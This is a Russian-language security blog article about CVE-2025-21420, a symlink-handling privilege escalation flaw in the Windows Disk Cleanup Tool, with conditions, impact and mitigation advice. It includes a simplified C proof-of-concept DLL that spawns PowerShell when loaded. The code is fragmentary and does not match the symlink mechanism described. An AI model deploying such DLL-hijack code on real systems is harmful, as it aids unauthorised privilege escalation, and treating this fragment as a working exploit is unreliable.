Повышение привилегий в Windows Disk Cleanup Tool
Повышение привилегий в Windows Disk Cleanup Tool
Категория: Программы Теги: Уязвимости Опубликовано: 27 марта 2025

Уязвимость CVE-2025-21420: Повышение привилегий в Windows Disk Cleanup Tool

Уязвимость CVE-2025-21420, обнаруженная в компоненте Disk Cleanup Tool операционной системы Windows, связана с некорректной обработкой символических ссылок (symlink). Злоумышленник, успешно эксплуатирующий эту уязвимость, может повысить свои привилегии на локальной системе до уровня SYSTEM, что эквивалентно получению полного контроля над ОС.

Уязвимость классифицируется как высокая из-за высокого потенциала для компрометации целостности и конфиденциальности данных.


Технические детали

Механизм уязвимости:
Disk Cleanup Tool, предназначенный для удаления временных файлов, не выполняет должной проверки символических ссылок при обработке путей к файлам. Это позволяет злоумышленнику создать специально сконструированную символическую ссылку, перенаправляющую запросы утилиты на системные файлы или каталоги.

Условия эксплуатации:

  • Локальный доступ к системе (CVSS: AV:L).

  • Учетная запись с низкими привилегиями (например, обычный пользователь).

Последствия успешной эксплуатации:

  • Повышение привилегий до уровня SYSTEM — максимальные права в Windows, позволяющие устанавливать/удалять программы, изменять системные настройки, читать конфиденциальные данные.

  • Выполнение произвольного кода в контексте системных процессов.

  • Обход механизмов безопасности (например, UAC).


Пример эксплойта (Proof of Concept)

Приведенный ниже код демонстрирует упрощенный сценарий эксплуатации уязвимости. Эксплойт использует DLL-библиотеку, которая при загрузке запускает PowerShell с повышенными привилегиями:

#include <stdio.h>
#include "pch.h"
#include <stdlib.h>
#include <windows.h>

// Экспортируемые функции Dokan (используются для работы с файловой системой)
__declspec(dllexport) void DokanDebugMode();
// ... (остальные объявления функций)

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
    switch (ul_reason) {
        case DLL_PROCESS_ATTACH:
            DokanMain(); // Вызов уязвимой функции
            break;
        // ... другие случаи
    }
    return TRUE;
}

void DokanMain() {
    MessageBoxW(NULL, L"Hello World2", L"DLL Message", MB_OK);
    system("powershell.exe"); // Запуск PowerShell
    // Создание процесса с повышенными привилегиями
    STARTUPINFOW si = {0};
    PROCESS_INFORMATION pi = {0};
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DokanDebugMode, NULL, 0, NULL);
}

// Остальные функции Dokan вызывают DokanMain(), создавая рекурсию.

Примечание:
Данный POC является упрощенным примером. Реальные атаки могут включать более сложные методы, такие как подмена системных файлов или использование цепочки символических ссылок для перенаправления операций Disk Cleanup Tool.


Рекомендации по устранению

  1. Установка обновлений:
    Корпорация Microsoft выпустила патч для устранения уязвимости. Обновите систему через Центр обновления Windows.

  2. Ограничение прав пользователей:
    Минимизируйте количество учетных записей с административными привилегиями.

  3. Мониторинг символических ссылок:
    Используйте инструменты вроде Sysinternals Process Monitor для отслеживания подозрительных операций с symlink.

  4. Блокировка DLL-инъекций:
    Настройте политики AppLocker или Windows Defender Application Control (WDAC) для запрета загрузки неподписанных DLL.

Алексей Черемных Алексей Черемных
129